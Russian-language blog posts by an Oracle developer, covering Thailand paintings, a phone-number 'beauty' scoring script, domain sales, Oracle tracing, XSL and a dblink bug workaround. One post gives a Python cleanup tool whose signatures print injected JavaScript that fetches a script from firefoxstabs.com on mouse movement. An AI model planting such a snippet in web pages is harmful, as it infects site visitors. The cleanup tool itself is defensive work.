Недавно впервые посетил Тайланд и был несколько удивлен, что живопись продают повсеместно: на улицах, в торговых центрах, в специальных магазинах-галереях. Цены приятно удивили.
Вот например этот леопард стоил 7000 бат без рамы:
Картина реально большая. Где-то 90 на 70 см.
Как такую везти домой не узнавал. В самолете - не вариант, наверное надо заказывать CARGO...
Я для первого раза ограничился маленькой картиной, чтобы поместилась в багаж. Вот она:
Чтобы понимали размер, она примерно как 2 листа A4. Масленые краски. Цена 1500 бат картина + 1000 бат за раму.
Да кстати по поводу рам у меня случился просто разрыв шаблонов, стоимость рамы примерно равна стоимости самой картины, а иногда и больше. Рамы очень дорогие, не знаю чем это обусловлено, возможно просто очередной способ содрать денег. Уже по приезду погуглил и понял что дешевле сделать раму на родине, хотя это конечно потребует определенного времени от вас. На леопарда кстати рама стоила бы 5-6 тысяч у них. Поэтому имеет смысл наверное сначала изучить цены на заказ рамы в вашем городе.
Записки ораклиста
мой блог
четверг, 31 октября 2013 г.
пятница, 27 января 2012 г.
Алгоритм определения красивости номера
Компания, в которой я работаю получила телефонную номерную емкость и менеджер попросил меня, чтобы не просматривать весь список глазами и выбирать номера, отсортировать их по степени "красивости". У меня естественно сразу же возник вопрос: а как алгоритмически определить "красивость" номера? Стало самому интересно. Первое, что пришло в голову - присвоить каждой цифре номера начальный вес и увеличивать его в зависимости от удовлетворения каким-то условиям красоты. По быстрому наваял на коленке скрипт на любимом Python'е, и вот что получилось:
#-*- coding: utf-8 -*-
import operator
"""
Author: Shiryaev Pavel
"""
def beauty_coef(num):
"""
Возвращает "вес" номера. Чем выше вес, тем красивее номер.
"""
charCount = {}
last = ""
lastcnt = 0
i = 0
bc = {}
#У каждой цифры в номере базовый коэффициент(бк) = 1.
for char in num:
bc[i] = 1
charCount[char] = charCount.get(char, 0) + 1
i += 1
#Если в номере цифра встречается дважды, то базовый коэф такой цифры увеличивается на 2, если 3 то на 3...
for a in range(0,i):
if charCount[num[a]]>1:
bc[a] += charCount[num[a]]
#Если в номере повторяющиеся цифры идут одна за другой, то базовый коэф подряд идущих цифр увеличивается на (кол-во повторений * 2).
for a in range(0,i):
if num[a] == last:
lastcnt += 1
if num[a] != last or a == i-1:
if lastcnt>0:
for b in range(0, lastcnt+1):
bc[i-b-2] += (lastcnt+1) * 2
#Если номер заканчивается на повторяющиеся цифры, то он считается более привлекательным и каждая повторяющаяся цифра получает к БК 0.4 балла
if a == i-1 and num[a] == last:
bc[i-b-2] += 0.4
lastcnt = 0
last = num[a]
#Если в номере есть комбинации из 2 и более цифр, то все эти цифры получают (кол-во повторений + кол-во цифр в комбинации) к бк
for j in range(0, i-2):
for l in range(j+2, i):
oc = num.count(num[j:l])
if oc > 1:
for p in range(j,l):
bc[p] += (oc-1)+(l-j)
#Затем все бк складываются и получается финальный вес номера.
return sum(bc.values())
if __name__ == "__main__":
r = range(2801000,2802000)
array = {}
for a in r:
array[a] = beauty_coef(str(a))
sora = sorted(array.iteritems(), key=operator.itemgetter(1))
# num, coef
for i in sora:
print i[0],i[1]
Код конечно получился не очень читабельный, но выдает что-то похожее на ожидаемый результат ;)
Не спрашивайте почему я увеличиваю вес на то или иное значение. Это просто импровизация, что в голову первое пришло, то и написал, а потом экспериментальным путем докрутил.
вторник, 19 июля 2011 г.
Двухбуквенные домены в зоне SU
По стечению обстоятельств я стал обладателем нескольких двухбуквенников в зоне SU. Не скрываю, что зарегистрировал большую часть на продажу.
Вот список доменов, которые продаю:
Кому интересно - пишите pws[собака]front.ru. Цены адекватные, все реально.
Вот список доменов, которые продаю:
Имя | Тэги |
одежда, XL | |
доменные имена, New Mexico | |
от, овертайм | |
Do, До, доска объявлений, бизнес | |
Москва, авто, казино | |
Самара, авто | |
MX, mail, почта, сервер | |
fx.su | Forex, инвестиции, биржи |
Кому интересно - пишите pws[собака]front.ru. Цены адекватные, все реально.
понедельник, 13 июня 2011 г.
Скрипт лечения вируса firefoxstabs.com
Похоже захачили меня на днях. К некоторым js и html файлам дописался кусок javascript кода, который ходит на firefoxstabs.com и пытается загрузить какую-то заразу.
По этой теме для начала стоит прочитать пару постов, чтобы понять что это за зараза и как с ней борятся:
У скрипта на php есть пара недостатков:
Пользуйтесь:
Если просто запустить fixer.py без параметров то будет сканировать и зачищать вирус начиная с текущей директории рекурсивно, а результаты сканирования выводить на консоль.
По этой теме для начала стоит прочитать пару постов, чтобы понять что это за зараза и как с ней борятся:
У скрипта на php есть пара недостатков:
- Он переходит по симлинкам и у меня получается бесконечный цикл
- Он правильно отрабатывает файлы только с одной точкой. Т.е. one.js он обработает, а one.two.js нет.
#!/usr/local/bin/python
import sys
import os
from optparse import OptionParser
"""
Author: Shiryaev Pavel
Purpose: scan and remove trojan from your site
Status description:
[o] - trojan not found
[d] - trojan removed
[x] - trojan detected
[r] - can't read file
[!] - can't remove trojan from file
[ ] - not scaned
"""
trojan_text = ["""<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"><script type="text/javascript">var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1; x.getScript('http://firefoxstabs.com/' + Math.random().toString().substring(3) + '.js', function() {flag = 2;});}});});""",
"""document.write('<scr'+'ipt src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></scr'+'ipt>');var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1;x.getScript('http://firefoxstabs.com/' + Math.random().toString().substring(3) + '.js', function() {flag = 2;});}});});"""]
options = None
#checking extentions
extentions = ['js','php','html','htm','tpl']
stat = dict()
def scan_dir(wd):
dirs = []
cnt = 0
showdir = False
try:
for element in os.listdir(wd):
full_path = os.path.join(wd,element)
status = " "
#file
if os.path.isfile(full_path):
if os.path.split(full_path)[1].split('.')[-1] in extentions:
status = "o"
try:
data = None
file = open(full_path,"r")
data = file.read()
file.close()
for trj in trojan_text:
if data.find(trj) > 0:
status = "x"
if not options.findonly:
data = data.replace(trj," ")
try:
f = open(full_path,"w")
f.write(data)
f.close()
status = "d"
except:
status = "!"
except:
status = "r"
try:
stat[status] = stat[status]+1
except KeyError:
stat[status] = 1
if (not options.verbose and status in ['d','!','x']) or options.verbose:
cnt = cnt + 1
if cnt == 1 and not showdir:
print("\nWorking Directory: %s " % wd)
showdir=True
print(" [%s] %s" % (status,element))
#directory
elif os.path.isdir(full_path) and (not os.path.islink(full_path) or options.uselink):
dirs.append(full_path)
for dir in dirs:
scan_dir(dir)
except OSError as e:
print(e)
if __name__ == "__main__":
usage = "usage: %prog [options] "
parser = OptionParser(usage=usage)
parser.add_option("-d", "--dir", action="store", type="string", dest="directory", help="Starting directory path, default: current directory", default=os.getcwd())
parser.add_option("-q",action="store_false", dest="verbose", help="quite mode")
parser.add_option("-v",action="store_true", dest="verbose", default=True, help="verbose mode, default: true")
parser.add_option("-l",action="store_true",dest="uselink",default=False,help="Use symlinks on directories when scan, default: false")
parser.add_option("-f",action="store_true",dest="findonly",default=False,help="Find and not delete")
(options,args) = parser.parse_args()
scan_dir(options.directory)
print "-----------------------------------------------------------"
print " TOTAL:"
for row in stat:
print " [%s] %d" % (row,stat[row])
Пользуйтесь:
Usage: fixer.py [options] > out.txt
Options:
-h, --help show this help message and exit
-d DIRECTORY, --dir=DIRECTORY
Starting directory path, default: current directory
-q quite mode
-v verbose mode, default: true
-l Use symlinks on directories when scan, default: false
-f Find and not delete
Если просто запустить fixer.py без параметров то будет сканировать и зачищать вирус начиная с текущей директории рекурсивно, а результаты сканирования выводить на консоль.
четверг, 26 мая 2011 г.
after logon session trace
Чет, надоело каждый раз искать код after logon trigger'a для трассировки сессии, вот решил в блог его запостить.
CREATE OR REPLACE TRIGGER after_logon_trg
AFTER logon ON DATABASE
declare
mo varchar2(100);
ma varchar2(100);
BEGIN
SELECT module, machine into mo,ma
FROM v$session
WHERE audsid = USERENV ('sessionid') AND ROWNUM <= 1;
IF (mo='JDBC Thin Client' and USER='SHIRYAEV') THEN
EXECUTE IMMEDIATE 'ALTER SESSION SET max_dump_file_size=unlimited';
EXECUTE IMMEDIATE 'ALTER SESSION SET tracefile_identifier=''id''';
EXECUTE IMMEDIATE 'ALTER SESSION SET EVENTS ''10046 trace name context forever, level 12''';
end if;
END;
вторник, 30 ноября 2010 г.
XSL Template для замены CRLF на <br />
sabj :
Вызываем так:
P.S.: За подсветку кода спасибо маньякам ;)
<xsl:template name="substitute">
<xsl:param name="string" />
<xsl:param name="from" select="'
'" />
<xsl:param name="to">
<br />
</xsl:param>
<xsl:choose>
<xsl:when test="contains($string, $from)">
<xsl:value-of select="substring-before($string, $from)" />
<xsl:copy-of select="$to" />
<xsl:call-template name="substitute">
<xsl:with-param name="string"
select="substring-after($string, $from)" />
<xsl:with-param name="from" select="$from" />
<xsl:with-param name="to" select="$to" />
</xsl:call-template>
</xsl:when>
<xsl:otherwise>
<xsl:value-of select="$string" />
</xsl:otherwise>
</xsl:choose>
</xsl:template>
Вызываем так:
<xsl:call-template name="substitute">
<xsl:with-param name="string" select="." />
</xsl:call-template>
P.S.: За подсветку кода спасибо маньякам ;)
понедельник, 2 августа 2010 г.
ORA-04052: error occurred when looking up remote object
Нашел сообщение в черновике, которое написал уже давно, и решил опубликовать, т.к. на днях разобрались с этой историей.
Накатывал большой патч на серверную логику продуктивной БД. Изменения в пакетах, триггерах, альтеры таблиц и пр. После чего получил инвалидные объекты с ошибками следующего содержания:
DBA в отпуске был. Два часа часть функционала была недоступна. Google навел меня на информацию о баге в Oracle 9, проявляющуюся при компиляции кода, где есть связь по dblink с базой на другой платформе. В нашем случае это был Oracle 9.2.0.8 на Solaris SPARC и та-же версия на CentOS x86.
Придумал быстрый workaround: создать на той же базе схему c таким же именем и с объектами, на которые смотрит dblink(благо объектов было всего с десяток), в tnsnames заменить адрес удаленной базы на локальную, перекомпилить пакеты и поменять tnsnames обратно.
C этой страшной багой мы жили несколько месяцев, каждый раз боясь инвалидировать код, работающий с dblink'ом, но все равно пару раз повторялось.
Все это закончилось тем, что мы наконец перешли на 10g, где такой ошибки нет. Ура!!!
Накатывал большой патч на серверную логику продуктивной БД. Изменения в пакетах, триггерах, альтеры таблиц и пр. После чего получил инвалидные объекты с ошибками следующего содержания:
Error: PL/SQL: ORA-04052: error occurred when looking up remote object CMS.USERS_TABLE@DB1.RESTRICTED
ORA-00604: error occurred at recursive SQL level 1
ORA-03106: fatal two-task communication protocol error
ORA-02063: preceding line from DB1.RESTRICTED
Line: 35
Text: insert into users_table@db1.restricted(login_id,user_name,serv_group_id,
DBA в отпуске был. Два часа часть функционала была недоступна. Google навел меня на информацию о баге в Oracle 9, проявляющуюся при компиляции кода, где есть связь по dblink с базой на другой платформе. В нашем случае это был Oracle 9.2.0.8 на Solaris SPARC и та-же версия на CentOS x86.
Придумал быстрый workaround: создать на той же базе схему c таким же именем и с объектами, на которые смотрит dblink(благо объектов было всего с десяток), в tnsnames заменить адрес удаленной базы на локальную, перекомпилить пакеты и поменять tnsnames обратно.
C этой страшной багой мы жили несколько месяцев, каждый раз боясь инвалидировать код, работающий с dblink'ом, но все равно пару раз повторялось.
Все это закончилось тем, что мы наконец перешли на 10g, где такой ошибки нет. Ура!!!
Подписаться на:
Сообщения (Atom)